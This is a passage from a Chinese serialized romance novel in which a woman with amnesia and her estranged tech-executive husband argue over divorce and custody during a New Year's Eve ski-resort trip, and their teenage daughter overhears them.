外面正在下雪,纷纷扬扬的雪花飘落在地面上,很快化成了水。 车里正在放宁颐然没听过的老歌,秦叔叔和妈妈有一搭没一搭的聊天。 宁颐然才知道原来秦叔叔跟爸爸一样,也是Q大毕业的,只不过比爸爸低几届。 可是她太困了,这几天她缺觉缺得厉害,靠在后座上便睡着了。再次醒过来时,她已经到度假村酒店了。 房间都安排好了,她和妈妈一间,剩下几个大人一人一间。去房间里把行李放下来,已经晚上七点多了,宁颐然饿得前胸贴后背。 晚餐是自动火锅,一人一个小火锅。这间酒店里虽然海鲜品种很少,但牛羊肉的种类很丰富。 宁颐然正在自助区拿食材,接到爸爸的电话,“我快到宁市了,你们现在在哪?” ???? 宁颐然以为自己听错:“你不说明天来接我吗?” 宁君昊这几天在琼市参加一年一度的数字创意产业峰会。游戏行业的政策监管和内容审核一年比一年严格,海市开通了“游戏版号绿色通道”,吸引了几乎所有的游戏公司蜂拥而至。 所以这个会,他必须亲自出席。 另一方面,他也想通过出差来转移自己的注意力,暂时不去想离婚那件事。起码现在的他,还远没有做好离婚的心理准备。 他想跟应真解释聊天记录的事,可是一想起来又不免咬牙切齿。结婚这么多年,那个女人对他连起码的信任都没有! 这次琼市的峰会,游易也参加了。宋幼萱不知怎么跟专家组的一个话语权很大的专家搭上了关系。今年专家组将审查重点聚焦在“历史虚无主义”上。 而这个当口,奇技旗下的历史类游戏《丝路迷踪》正在申请版号。宋幼萱在背后搞这些小动作,自然是因为上回奇技的战略会议上,宁君昊将游易踢出了局。 宁君昊不觉得她能在版号审批上翻出什么风浪来,毕竟专家组上面还有总署和文旅部,几个老家伙说了不算。 他只是觉得烦躁。一种意误到自己当初做了一个错误决策的烦躁。 所以当应真打电话告诉他,女儿逃课,一个从北市打车到宁市找她。让他赶紧把人领回去,尽快在离婚协议上签字,宁君昊那种烦躁再也压抑不住了。 峰会结束后,他没有参加晚宴,直接搭飞机回来,然后让司机开车送自己到宁市。 宁颐然不知道这些,她以为爸爸是因为今天是跨年夜所以提前回来了,“我跟妈妈在雪顶小镇,我们打算明天去滑雪。” 一听到“滑雪”,宁君昊眉头就皱了起来,这要是失忆前的妻子,肯定不不会带女儿去,“我现在去接你,你逃课的事我们回去再说。” 宁颐然没想到这次扫兴的竟然是爸爸,当即小脸一沉,“今天跨年夜哎,你能不能不要这么扫兴!你和妈妈要离婚,我已经够难过了!跑到宁市来,妈妈又跟我说她失忆了,其实她不是我妈!你们有没有想过我的心情?” 女儿这一套也就对应真管用,宁君昊语气一丝变化也无:“宁颐然,你能不能别得了便宜还卖乖?这要是以前,你妈妈肯定不会同意你去滑雪。你也就是趁着她不知道你那次滑雪摔跤的事,让她带你去雪场玩……” 被爸爸毫不留情地批评,宁颐然脸上挂不住了,“又不是只有我和妈妈来玩!书韵阿姨和秦叔叔也在,他俩都是滑雪高手!尤其是秦叔叔,人家可是上专业赛道的,你担心什么……” 宁颐然委屈得直跺脚,浑然不知道电话那头爸爸的脸已经黑了。 第53章 第53章二十五岁的应真和四十岁…… 接到宁太太的电话,得知小姐早上根本没进校门,而是一个人打车去了宁市,小李吓出一身冷汗。 作为司机把人安全送进学校,是他的职责所在。这人在他眼皮子底下,从学校跑出来了,还打车去了别的城市。没出事倒也罢了,出事他能担得起吗? 再加上,最近宁总和太太之间似乎出了点问题。宁总在北市的时候,整个人气压很低,这种时候触老板霉头,不是找死吗? 小李一整天心里就像吊了个水桶,七上八下的。接到宁总电话,便早早到机场等候。将行李箱放好,从机场开出来,小李紧张得不知道怎么跟老板开口。 跟叔叔交接工作时,叔叔特意提点,宁总这人,最讨厌那种工作上出了纰漏,然后找一堆理由替自己开脱的下属。 小李咽了咽口水,老老实实地跟宁总承认错误,保证下回一定会目送小姐进了教学楼再离开。 宁君昊阖着眼睛靠在后座椅背上,听小李在那语无伦次地保证,只淡淡道:“这事不怪你。我的女儿我清楚,她的心眼骗你绰绰有余。” “……” 小李舒了一口气。老板虽然语气不大好,但这工作貌似保住了? 车子一路从北市往宁市开,雪有越下越大的迹象,高速上全是从北市出发去滑雪度假的私家车。 快下高速时,小李听到宁总给女儿打了个电话,父女俩在电话里吵了几句。宁总面色阴沉地挂了电话,便让他开车去雪顶小镇。 雪顶小镇在宁市和北市之间,这意味着他们又要倒回去开一段路。过收费站时,小李从后视镜里看了宁总一眼,他脸色看上去很差。坐了三个多小时的飞机,又马不停蹄地从机场赶过来,这一整天只怕也没怎么吃东西。 “宁总,您是不是胃不太舒服?您面前的储物袋里有胃药。” 宁君昊手伸进储物袋里,果然摸出一瓶药来,很熟悉的药瓶,“太太什么时候放进去的?” 小李:“一直都有。从我上班第一天,太太就交待我,说您胃不好,让我平时注意一点。” 将白色的药瓶握在手里,宁君昊心里说不上什么滋味。 是了。结婚这么多年,应真对他和女儿的身体了如指掌,什么症状,该吃什么药,她都一清二楚。 因为他胃不好,所以每次喝了酒回来,她都不高兴。他心情好耐心够的时候,看她摆脸色,会哄一哄。心情不好的时候,应真又嫌他酒气重,他便直接去书房睡了。 这会,宁君昊的确胃不舒服,闷胀的钝痛从胃底慢慢往上泛。他倒出一粒药片,保温杯里的热水喝完了,拧一瓶矿泉水就着喝了下去。 每当身体不适时,他就分外想应真陪在他身边。 虽然并不想承认,但这些天面对年轻的妻子,他对她的纵容和耐心,未尝不是一个中年男人,对年轻了十几岁的妻子身上的青春活力的沉迷贪恋。 而那个嫁给他十几年的女人,她对他而言就像空气和水一样。有时候,他也困惑,二十五岁的应真和四十岁的应真,他爱的究竟是哪个? 宁君昊任由这个念头在心底滑过,很快便拒绝将思绪浪费在这种无解的问题上。 有差么?此时此刻,她们是同一人。 车子开到雪顶小镇,宁君昊接到李墨打来的电话。 “宁总,何律师那边发来函件,如果周五前不接受协议方案,他们将会在下周一提起诉讼。” 周五就是三天以后了。这是打定主意不想让他好好放假。 宁君昊一手拿着手机,一手捏着矿泉水瓶,黑眸里没什么情绪,语气也极淡:“你转告何钰,少拿诉讼来威胁我。跟我太太十几年的婚姻里,我问心无愧。只要我不同意,这个婚也没那么好离。” 虽然宁总说得斩钉截铁,李墨心里还是没底。夫妻之间的事不好说,法律不讲“问心无愧”,法律是用来兜住底线的工具。 按照正常流程,如果男方婚姻无重大恶劣情形,女方第一次提起诉讼,法院通常不会判离。这个过程就得小半年。等到六个月后第二次起诉,再到最终的判决结果,起码要一年多。 抛开律师的视角,李墨觉得离婚诉讼就是钝刀子割肉。见了太多豪门夫妻在离婚的时候反目成仇,能协商自然好过法庭见。 “宁总,我会去跟何钰那边沟通。您这边也跟宁太太好好商量一下,能协商还是尽量协商。” 何钰和李墨都跟各自当事人签了保密协议,但架不住外人各种猜测。尤其是奇技上市,这么大一块骨头,多少双眼睛盯着。一点点异动,很快就会有人嗅出不对劲来了。 挂了电话,宁君昊看了眼窗外,漫天雪粒在路灯的光晕里旋转升腾,天地之间白茫茫雾蒙蒙。 这个天,秦毅竟然要带她们母女来滑雪。自打上回在撤资的事情上,秦毅驳了他的面子后,愈发不掩饰心思了。 宁君昊没想到应真在他心目中份量那么重,重到他可以为她参与的电影一掷千金,甚至不惜跟他这个师兄撕破脸面。 他是觉得应真离婚了,就能轮到他了么?! 宁君昊薄唇抿成直线,那双没什么情绪的眼睛瞬间像结了冰的寒潭。 * 雪顶小镇的度假氛围很浓。外面冰天雪地,酒店里暖融融的。 宁颐然接到爸爸电话后,很不开心。她不懂为什么一向对她管教很松的爸爸怎么突然严厉起来了。 吃罢晚饭,大人们打算去泡温泉了。秦叔叔似乎看出她和妈妈兴致不高,帮她们预约了晚上的非遗打树花表演。 宁颐然身上穿的是印有学校Logo的冬季羽绒服。原本羽绒服外面还有件防风防雨的冲锋衣,她嫌丑很少穿。哪知道宁市比北市冷那么多,坐在树花广场等待表演时冷得她直打哆嗦。 妈妈看她冷,把自己的围巾和手套全给她了,又从包里掏出两片暖宝宝贴在她的后背上。柔软的羊绒围巾围在脖子上,胸口那块终于不冷了,后背的暖意也很快蔓延开来,宁颐然感觉浑身暖洋洋的。 她一把抱住妈妈的胳膊,撅着嘴:“你还说你不是我妈妈!只有妈妈才会为我做这些!” 宁颐然把脸贴在妈妈的衣服上,闻到妈妈衣服上的气息,鼻子有些酸,都快想不起来自己有多久没这么抱过妈妈了。不知道从什么时候开始,她越来越讨厌妈妈的触碰,也不爱跟妈妈说话。总之,看妈妈哪里都不顺眼。 这难道就是传说中的叛逆期吗?还是每个女儿都有看妈妈极度不顺眼的时候? 应真转头看着挂在自己身上的小孩,“这就是妈妈了?不就一点保暖的东西吗?即便不是你,是穗穗,或者我的朋友,我也会给他们送温暖的。” 年轻版的妈妈嘴巴真的一点不让人,这么会泼冷水!一听到陈穗,宁颐然就不舒服。她算是看出来了,家里这些同辈小孩里头,妈妈最喜欢的就是她那个表姐穗穗! 秦毅不明就里,坐在一旁听她们母女逗嘴,不由自主地微笑。他一直以为应真是那种很温柔的妈妈,没想到她跟女儿处得像朋友一样。 还未等他反应过,应真又掏出两片暖宝宝塞给他,“这是我们剧组的小姑娘推荐给我的,效果可好了。你赶紧贴上吧,别冻感冒了。” 秦毅其实不冷,但还是按她说的,把暖宝宝贴在毛衣上了。 前面人群一阵骚动,打树花开始了! 宁颐然的注意力立刻被吸引过去,几个穿着羊毛皮袄、头戴斗笠的男人出现了,每个人手里都拿着一柄木质长勺。 一勺勺铁水裹挟着热浪冲天而起,当1000多度的高温铁水遇到零下15度的夜空,凝结而出的无数颗火星如被飓风席卷的蒲公英,向广场四方迸射开来。 刹那间,整个广场亮如白昼,宁颐然吓得本能地向后仰身,只见那火花很快便冷却成细碎银屑,落在雪地上,消失不见。 广场上人山人海,热火朝天,宁君昊站在人群之外,一眼就看到人群中那三个人。 他们不约而同地抬头看着天空飞溅而下的火花,脸上都带着笑容,落在旁人眼里,只怕都将他们当成一家三口了。 四周人们被这景象给震憾了,兴奋地一边跺脚,一边喝采,只有宁君昊脸色冷洌如冰地站在那儿。 * 泡温泉对黄书韵来说就是泡个氛围,室内太无聊了,室外温泉,这个天她实在遭不住。 换了衣服出来,在贵宾休息区看到秦毅坐在那儿喝茶,她大喇喇往他面前一坐,“你不是陪应真和然然去看打树花了吗?已经结束了?” 贵宾区提供暖腾腾的姜枣茶和各种漂亮的点心,秦毅端起杯子喝了一口茶:“结束了。宁君昊来了,他还没吃晚饭。应真陪他吃饭去了。然然去雪雕工作室玩了。” 两口子闹离婚,肯定有很多话不好当着女儿面说。这是趁着宁君昊来接孩子,应真找他单独聊去了。 泡完温泉黄书韵有点饿了,连吃几块点心。看对面的秦毅一直低头看手机,她没忍住:“秦毅,我们是朋友吧?” 秦毅抬眸,见她一脸严肃认真地看着自己,不由笑了:“你这口气,我有点害怕啊。不会是雪在飘要追加投资吧?” “不是!”黄书韵一摆手:“我就是想问你,你不会真的对应真动了什么心思吧?” 秦毅被她说得脸上一热,但是这个年纪了,也没什么不好意思承认的。他摸了摸自己的下颌,“有这么明显?” 黄书韵“嗤”的一声,“你当我是瞎的啊?当初投这个项目,我就在想你怎么那么爽快。干这一行久了,我可不信天上掉馅饼,事有反常必有妖。那天在锡市,我更觉得很不对劲。你对应真,跟对别人不一样。还有,这几天你可没少往片场跑,一个几百万美金的小项目值得你这么上心?你以前讨厌宁市讨厌得要命,这一次在这待了这么多天。你不会知道应真在跟她老公办离婚,开始蠢蠢欲动了吧?” 在她灼灼目光的逼视下,秦毅有些窘,但还是点了点头:“我在Q大上学的时候,就对应真有好感。十多年后再见她,我发现她比我想象的还要好。我——很喜欢她。” 黄书韵白了他一眼:“再喜欢,你也给我忍忍。人家现在敏感时期,你可别搞得她在财产协议上被动了。你们这些技术出身的大佬,年轻的时候个个傻不愣登的,有钱有身家后,开始放飞自我,一个比一个玩得花。当年宁君昊跟应真谈的时候,瞅着也挺纯情的。现在呢?在应真背后搞那些恶心的小动作。这男人有钱了,没几个不变的。应真是我朋友,她单纯得很,你可别在她身上动什么歪主意。” 应真现在只有二十五岁的记忆,阅历自然没办法跟四十岁的她比。作为朋友,有些事黄书韵看在眼里,难免要多嘴几句。 这些年,虽然跟秦毅联系不多。她也知道他一些事,创业赚钱后,在硅谷摇身一变成了科技新贵,交往过的女朋友一个比一个年轻漂亮。 现在回国修身养性开起了牧场,这人哪可能一下子转性? 当编剧的不仅目光如炬,还牙尖嘴利,秦毅被她说得浑身不自在,正色道:“我怎么可能对她动歪主意。我尊重她还来不及。” 黄书韵看他一眼:“我只是提醒一下你。可能是我多管闲事了。你们俩是我的朋友,我希望你们都好好的。” 才聊了几句,黄书韵已经被点心和姜枣茶撑得饱饱的。李长风不知道从哪冒出来,上来就要她陪他去一个地方。 他戴了顶帽檐很深的棒球帽,脸上还戴了口罩,捂得很严实,站在黄书韵背后,手搭在她椅背上。 “刚才咱们来的路上,不是有一排带独立私汤的雪屋吗?那最大的一间被谭婉包了,跨年夜她在那直播。知道咱们也在这,邀请咱们去那串门呢!” 他一口一个“咱们”,语气中的熟稔呼之欲出,让秦毅忍不住抬眸多看了他几眼。 黄书韵没想那么多,她好多年没见过谭琬了。谭婉当年在《千帆雪》演女二,这些年戏拍得少了,渐渐向直播带货转型,已经快做到头部主播了。 “行。左右在这也没什么事,我跟你一起去看看她。” 黄书韵站了起来,临走还不忘对秦毅道:“我刚跟你说的,你要觉得我说的不对,千万别往心里去,就当我胡说八道吧。” 李长风的目光在她跟秦毅身上转了转,好奇道:“你们说什么了?” 黄书韵:“没什么。走吧。” 秦毅看着前面离去的两个背影,有些哭笑不得。有些人,看别人很透彻,看自己一整个大蒙圈。 第54章 第54章他的应真怎么可能放弃女…… 树花广场,宁颐然看到爸爸的那一刻,嘴巴便撅了起来:“爸,我不想今天回北市,我想留在这滑雪。” 宁君昊站在那儿,一副风尘仆仆的样子,神情有些淡漠地看着女儿:“今天不回北市。那边有个雪雕工作坊,你去那玩会。我跟你妈妈有话要说。” 爸爸说不回北市,宁颐然那张小脸瞬间阴转晴,然而下一秒又开始阴云密布。爸爸这口气太明显了,这是打算背着她,跟妈妈说离婚的事。 宁颐然虽然不乐意,但看到爸爸这比天气还阴沉的脸色,只能乖乖去了。长这么大,她知道什么事情跟爸爸撒娇管用,什么事情撒娇没用。 女儿气呼呼地走了,宁君昊将目光投向应真:“我们找个地方聊聊。” 他全程看都没看秦毅一眼,倒是秦毅冲他点了个头。应真觉得他现在这个样子,比那天她在医院看到他第一眼时还要冷硬。 应真跟秦毅说了两句,让他先回去。等她转身时,宁君昊已经走出去好远了。 何止冷硬,他简直无礼! 应真这人有时候吃软不吃硬,有时候软硬不吃,看他这样子,越发觉得是这些年给惯出来的毛病。 她站在那儿没动,冲他背影道:“宁君昊,你刚才不是说有话要跟我聊吗?现在可以聊了。” 宁君昊脚下步子停住,微微侧转头看着她:“我还没吃晚饭,没力气跟你聊。你先陪我吃个晚饭。” 应真跟他谈恋的时候,就知道他胃溃疡,这么多年又经常喝酒应酬,胃病越发严重。刚看他脸色不大好,估计一天没怎么正经吃东西。 她很着急,倒也没到不让他吃饭的地方。于是跟着他去了雪雕工作坊对面的木屋咖啡馆。 …… 木屋咖啡馆是间两层的小木屋,屋顶覆着厚厚的“积雪”,二楼临街那一面还有个户外露台。 露台上似乎在举办什么活动,灯光布置得很漂亮,很多年轻的情侣在那打卡拍照。 雪顶小镇那么多餐厅,应真不明白宁君昊为什么非要选这家咖啡馆吃晚饭,看上去就不是个正经吃晚饭的地方。 推门进去,一楼台子上一支国外的乐队正在演奏爵士乐。 可惜应真没什么心情欣赏,只看了一眼,便收回了目光。 咖啡馆只提供一些简餐,宁君昊扫了一眼菜单,点了一份意面。 应真吃过了,又不想看着他吃,起身站了起来,扔下一句“我去二楼看看”,便上楼了。 宁君昊冷脸看着她的背影,薄唇不由自主地抿起。 二楼露台正在举办滑雪主题的雪雕展览,一排摆着各种滑雪动作的小人在露台的栏杆上站了一圈,看上去可爱极了。 看着这些可爱的雪雕小人,应真的心情好了些,拿出手机来给它们拍照。 2024年最后一天,她的微信快被跨年的各种信息淹没了。 除了各大课外机构发过来的信息,今年多了一些演艺圈朋友的信息,当然还包括品牌PR发过来的信息。 这一切都跟她复出拍戏有关。应真终于找到一点以前逢年过节短信电话爆炸的感觉。 余姐发过信息问她,说是又有两部女性婚姻相关主题的电视剧找上门,其中有一部是陈卓推荐她出演的。两部电视剧,一部是女二,一部是女三。 市场上留给中年女演员的好角色并不多。应真才刚复出没多久,能拿到女二女三的本子已经不错了。 余姐看她一直没回,又发了条信息过来:“自打你接了元珊这个角色,递过来的本子都是这种被老公背叛的角色。雪在飘上映后,估计会更多。你考虑一下要不要接。” 《雪在飘》应真是片酬入股,也就是说她到现在没领取一分钱片酬,她的片酬取决于电影最终票房。 作为创梦的创始人之一,这是应真加入这个项目的诚意所在。黄书韵作为发起人,以版权、编剧和导演费入股,真正做到风险共担。 当初黄书韵联系李长风时,随口提了一句,她、应真和余平婉都先不领取报酬。如果上映票房能回本,到时候再分红。没想到李长风一听也主动提出以片酬入股。 可能因为李长风答应太爽快,他的经纪人颇有微词,为此黄书韵给了他最优厚的分帐比例。 也就说《雪在飘》不仅把剧本、编剧、制片、监制和导演费省下来了,还把男女主片酬支出也省下来了,而陈卓和芮宁的片酬则由采用固定片酬加分帐的形式。这部电影又在黄书韵老家拍,真的将制作成本降到了极致。 可能正因为这样,现在大家都在一条船上,力都往一块使,才使剧组这么高效运转起来。 拍摄还有一个来月就要结束了,应真也在考虑接下来的发展方向。年轻的时候起点高,心气也高,不管是她,还是余姐,都坚持要在电影圈发展,从来没考虑过电视圈。 现在,应真当然不会拒绝演电视剧。 今时不同于往日,时隔这么多年重新复出,如果有资方觉得她合适,她又有时间和档期,为什么不演? …… 应真看了余姐发给她的几个本子的故事梗概,有两个是她比较喜欢的。 她赶紧压低声音用语音回:“接!干嘛不接?陈卓推荐的那部就很不错。我还没演过商界女强人呢。还有那个杀人犯,我也想挑战。我现在不是角色同质化的问题,我是需要多露脸,被更多人看见的问题。” 余姐那边很快回了条语音:“好,那我帮你去争取。对了,那个燕盏的商务活动你考虑得怎么样了?” 燕盏是一家专做高档女性营养品的品牌,在国内很有名气。品牌邀请了很多女明星、网红和名媛做推广。最近不知道怎么找到余平婉,想让应真在品牌的年货节直播间露个面。 应真想了想,回道:“她们要是看中我身上什么豪门富太的标签,那还是算了。我跟宁君昊都要离婚了,这豪门富太当不了几天了。” 余姐发了个歪嘴斜眼的表情包:“你现在这些新词汇掌握得不错啊。什么豪门富太,燕盏那边是看到你上次给那个VR游戏机拍的视频,觉得你状态很好,才找上门来的。” 应真将手机放在耳边,听着余姐的回复。 商业街的各个店铺陆续关门打烊,对面雪雕工作坊的灯光还亮着,门上的招牌被风吹得抖抖索索。 应真回了条语音:“余姐,这边拍摄进度你比我清楚。要是时间安排得过来,你就替我接了。” 余姐:“那我帮你接了。他们公司就在北市,再忙一晚上功夫还是能挤出来的。我让他们把产品先发给你,你先试用一下。” 应真:“好。余姐新年快乐!” 余姐:“新年快乐!我不跟你聊了,儿子回来了,好不容易凑齐一桌麻将。” 听着那头轻快的声音,应真唇角不由弯起。退出聊天框,点开朋友圈,便看到田佳蕙刚刚发的照片,其中有一张是一个穿着黑色羊毛衫的年轻男人端着茶杯喝茶的场景,亚麻色微卷的头发,干净的鬓角,很清爽的感觉,虽然只有个侧面,但鼻梁高挺,眉毛浓密,能看出来长相不错。 她一直没见过田佳蕙的男朋友,看这照片,八成就是了。热恋中的田佳蕙眉眼中的阴郁和苦闷褪去,在妆容的衬托下,妥妥的风情美丽的成熟女人。 应真在她的照片底下点了个赞,然后扫了眼手机上的时间,都快半个小时了,宁君昊也该吃完了。正打算下楼,一转身便看到宁君昊双手插兜,站在不远处看着自己。 她将手机塞进口袋:“你吃完了?离婚协议何钰早就发给你了,你考虑得怎么样了?” 她语气如常,宁君昊却觉得她整个人看上去比旁边的雪雕小人还要冷。吃了晚餐,胃里那股闷胀的钝痛并没有消失,一定是刚才吃的意面惹的祸。 刚才在路上,他一直在想应真做的西红杮浇头的刀削面。 他的胃已经先于他的身体做出反应。 从口袋里掏出烟点上,宁君昊那张冷峻的脸笼在白色烟雾里,扯了扯唇角:“你这么着急离婚,不会是想跟秦毅在一起吧?他把他当年暗恋你的事都告诉你了?那他有没有跟你说,他在美国交往过几个洋妞?” 应真简直不相信自己的耳朵,瞪大眼睛看着他,气极反笑:“宁君昊,这么多年,你倒把一耙的本事倒是渐长。车祸之前,你老婆就提出了离婚!你骗我瞒我,我一开始还真以为这些年我们感情不错。虽然也发现很多不对劲,还是选择相信你。这段时间你对我坦诚过吗?在你家人面前,我像个傻子一样,傻傻地相信宋幼萱是你表嫂的朋友!还有那恶心的聊天记录,你有没有想过你老婆看到时的心情?” 宁君昊一张脸紧绷着,眼里闪过一丝狼狈,很快便恢复淡然:“我跟宋幼萱之间什么也没有。那些聊天记录不是我发的。具体细节,我可以让发的人当面跟你解释。我之所以瞒你,是因为你在宋幼萱的事情上对我有很深的误会,我不想让我们之间的感情因为无关紧要的人而受到任何影响。” 应真按下心头翻涌的情绪,努力让自己冷静下来。她反复提醒自己,这是四十四的宁君昊,不是二十九岁。 人是会变的没错。她爱的是二十九岁的宁君昊。 应真那双眼睛冷幽幽地直视着他:“可能是我眼瞎,也可能是你变了,但这些都不重要了。在你心里,公司和赚钱更重要。在我这不是,否则我也不会结婚就息影回归家庭。你明知道我介意,还非要跟宋幼萱合作。只能说在这些重大又涉及到原则的事情上,我们的排序不一致。既然这样,放过彼此,对我们双方都好。” 她的声音又沉又冷。宁君昊看着面前的女人,胸口泛起一丝尖锐的疼痛。从眼神到表情,她都不是那个跟自己结婚十几年的女人。 此刻,他突然生出一个念头——如果应真没有失忆多好,她一定不会用这么冰冷的眼神看自己。 那天晚上,说到宋幼萱,她哭了。他的应真很爱他,他们有十几年的感情,还有一个女儿。 应真舍不得他,更舍不得女儿,当着他和女儿的面,她根本说不出“离婚”那两个字。不然她怎么会连离婚协议都让律所邮寄给他呢。 那份协议上,在抚养权那一项,清晰地写着:女儿的抚养权归她。如果他有异议,以女儿意见为准。 他的应真怎么可能放弃女儿的抚养权?! 宁君昊感觉有只手在胃里揪着,剧烈的绞痛从胃部直往胸口蔓延,他脸色发白,视线微微往下垂:“你失忆这段时间,一直觉得自己只有二十多岁。你好像忘了你在外人眼里就是四十岁的应真,是我的太太,是然然的妈妈。我们已经结婚十五年了,不是才结婚一个月!” 他竭力在控制,但暗哑的声音还是带出几分怒意。 应真没有被他带偏,睁大眼睛瞪着他:“宁君昊,在要求我之前,拜托你先管好自己。都结婚十五年了,如果你是一个称职的丈夫和父亲,我来这之前,她会跟你离婚吗?!” 说完,应真觉得自己好像话有些重。可是转念一想,自己没说错。宁君昊就知道指责她,从来不反思自己。 果然,宁君昊的脸色变得极难看。 一阵漫长难捱的沉默,可能只是隔了一会,因为难捱而显得漫长。应真撇过头去不看他,半晌听到他开口道:“离婚可以,你要答应我一个条件。” 应真转过头:“什么条件?” 宁君昊:“你在协议上要求的股票和现金,可以给你。但女儿的抚养权得归你。” 应真眉头拢起:“你确定?这段时间你看出来了,我对然然根本没有那种发自内心的母爱。从某种意义上来说,你才是她最亲的人。你把抚养权给我,我跟她也不是真正意义上的母女。从心里年龄来说,我只不过比她大十岁。我没法当好一个称职的母亲,我最多只能把她当成一个比我小的朋友。” 这一段话足够理性,也足够冷心冷肺。 宁君昊努力平心静气,额角却还是不受控制地狂跳起来:“你就这么迫不及待地恢复自由身?连女儿的抚养权都不要?” 他神色没什么变化,但沉冷的声音还是将他的情绪展露无疑。 “我为什么放弃女儿的抚养权,刚才已经说得很清楚了。” 应真垂眸沉凝片刻,目光变得清明而冷静,严肃道:“如果我保留女儿的抚养权,是你同意离婚的条件,我接受。当不了一个合格的母亲,我可以当一个合格的监护人。” * 跟妈妈一起到雪顶小镇,宁颐然发现像她这么大的孩子,跟家长一起出门很尴尬。 整个小镇放眼都是比她小的小屁孩们,被家长搂在怀里或牵在手里,一家人其乐融融。零星看到几个跟她差不多大的teenager,几乎都在低头看手机,主打一个懒得参与。 亲子乐园里那些儿童项目无聊得要死,但有一个看上去还不错,宁颐然跃跃欲试,一去问才知道人家只接受身高一米四以下的儿童。 那些更刺激的成人项目,她又玩不了,真没意思。 在DIY雪雕工作坊里,除了两对情侣,她又成了一屋子小孩里头最大的那个。她今晚的任务,是做个迷你的雪中小镇,有房屋、树木和路灯。 宁颐然一边做一边看向玻璃门外,对面的木屋咖啡馆,她父母正在里头。 木屋咖啡馆是栋两层的小木屋,二楼还有个户外露台,栏杆上面立了一排很可爱的雪雕小人。远远地好像看到妈妈站在露台上,她不知道什么时候到露台上了,正低头看手机。 宁颐然坐在工作台前,按照对面木屋咖啡馆的造型搭建自己的小屋。 工作坊的老师是个年轻女孩,她看到宁颐然一直在看对面的咖啡馆,不由露出一丝骄傲的笑容:“那些雪雕是我们工作坊的主理人老师一个人完成的。他可厉害了。” 宁颐然“哦”了一声,隔得太远,她也看不清那栏杆上的一排排小人具体长什么样,只觉得挺有气氛的。 以前没做过,她不知道原来做雪雕有这么多讲究。每堆20cm雪层,需要用铲子压实,不然容易空心,搞不好最后功亏一篑。在雕刻细节之前,要用喷壶将水均匀地喷洒在表面,形成薄冰保护层。 在老师手把手的教导下,宁颐然很快就搭好了自己的小屋。她抬头看了一眼对面,爸爸竟然也站在露台上,他跟妈妈好像在说着什么。 宁颐然坐不住了,腾地站了起来,扔下手里的雕刻刀,摘下防水手套,边穿外套边对老师道:“我不玩了。我爸妈在对面吃饭,我去找他们了。” …… 小木屋一侧有楼梯直通二楼的露台,宁颐然走到一半,突然想起什么,她放轻自己的脚步声,蹑手蹑脚地上楼,伸长脖子看着站在露台上的父母。 这个点露台上已经没什么人了,他们争吵的声音,一句句传到她的耳朵里: “离婚可以,你要答应我一个条件。” “什么条件?” “你在协议上要求的股票和现金,可以给你。但女儿的抚养权得归你。” “从某种意义上来说,你才是她最亲的人。你把抚养权给我,我跟她也不是真正意义上的母女。” 一句句话像一把把锋利无比的剑,将宁颐然整个人劈成无数碎片,她脸色惨白地站在那儿。 上面两个大人还在争吵: “你就这么迫不及待地恢复自由身?连女儿的抚养权都不要?” “如果女儿抚养权归我,是你同意离婚的条件,我接受。当不了一个合格的母亲,我可以当一个合格的监护人。” 宁颐然胸口难受得快要炸开了,双唇颤抖着,眼泪直往外涌。她噔噔噔地爬上露台,红着眼睛瞪着父母,所有情绪在这一刻像是决堤的洪水。 她哭着大声嚷道:“你们离婚就离婚,别把我像个球一样踢来踢去!” 刚才还冷言冷语的父母,听到她的声音,朝她这边看过来,两人脸上表情都变了。 “我再也不想看到你们了!” 宁颐然满脸是泪,红着眼睛扭头转身就跑了。 第55章 第55章是他那辆大G不够显眼吗…… 在宁市雪顶小镇,宁颐然过了一个让她这辈子都难以忘怀的跨年夜。 外面冰天雪地的,她从咖啡馆里跑出去。在看到她的那一刻,正在吵架的父母,脸上都露出一丝慌乱,然后很快跟了上来。 宁颐然觉得心里有什么东西碎了。来宁市之前,无比笃定的事全部坍塌了。 她曾经很同情陈穗,表姨和表姨父离婚后,陈穗像个皮球一样被人踢来踢去。听到父母谈话后,宁颐然觉得自己比陈穗还要惨。 起码,陈穗的妈妈离婚后一直坚定地带着她。 也许,她不该来宁市找妈妈。如果她没来,心里那个念想会一直在。 雪顶小镇,她不想再待了,滑雪她也不想再玩了,只想回北市的家。 吵得不可开交的父母,看到她的情绪崩溃,几乎瞬间达成共识。刚才还说对她没有任何母女之情的妈妈,难得流露出一丝愧疚,主动提出陪她一起回北市。 自从妈妈去宁市拍戏,他们一家三口好久没有聚在一个屋檐下,却没想到是以这种支离破碎的形式。 放假叶阿姨回家了,临走前将屋子彻底打扫了一遍。偌大的别墅干净清爽,一切似乎和应真去宁市拍戏前没有太大区别。 宁颐然一进门就冲进自己的房间,扑在床上,将头埋进枕头里。等了好久,她都哭累了,终于有人进来了。 妈妈推门进来,手里拿着一块热毛巾,将她从床上拉起来,然后将热毛巾敷在她脸上。 相比较爸爸,宁颐然更生妈妈的气。刚才一路上,她死死咬着自己的唇,忍着没将那句话喊出来。 “你说你不是我妈妈,那你把我妈妈赔给我!” 一想到妈妈在露台上说的那些话,宁颐然的心脏就像是有锋利的刀片划过,疼得她无法呼吸。 温热的毛巾贴在脸上,宁颐然咬着牙想从妈妈怀里挣脱,可是当妈妈还像她小时候那样,一手托着她的后脑勺,一手将热腾腾的毛巾覆在她脸上,将她被眼泪打湿又干涸的脸用力擦拭了好几遍,眼睛、鼻子和脸上的皮肤瞬间没那么难受了。 宁颐然的情绪镇定了些许,只是还是很委屈,身体控制不住地抽噎着。 应真给她擦完脸,抽出书桌前的椅子坐下来:“然然,我们聊聊吧。” 宁颐然绷着小脸,将头扭向一边:“有什么好聊的!你们刚才不是说得很清楚了吗?你和我爸都不想管我了!” 这一路她哭得眼睛鼻子都红了,此刻坐在床边心如寒灰。 应真看着她,不由想到车祸那天第一次看到她的情形。从性格到长相,这孩子都实在太像宁君昊。 她叹了口气:“刚才我跟你爸爸商量过了。我跟他离婚后,不管你想跟谁一起生活,我们都尊重并且接受。一切以你的意见为重。” 原来刚才爸爸妈妈在商量这个。宁颐然刚压下去的委屈再次涌了上来。 应真继续说道:“我从来没想把你像个皮球一样踢出去。放弃抚养权,不过是因为我觉得你跟着你爸爸,对你更好。而且之前你似乎也流露过类似的想法。有些事情可能是我欠考虑了,没有事先认真地跟你聊一聊,听听你的真实想法,是我考虑不周。” 表面上妈妈似乎在跟她道歉,可是宁颐然还是听出来她话里的意思。没错,她的确是说过如果爸爸跟妈妈离婚,她会选择跟爸爸一起生活。 可是,她说的是“如果”。她从来没想过这件事会真真正正地发生!她无法接受父母离婚,更无法接受以后得不到父母全部的爱! 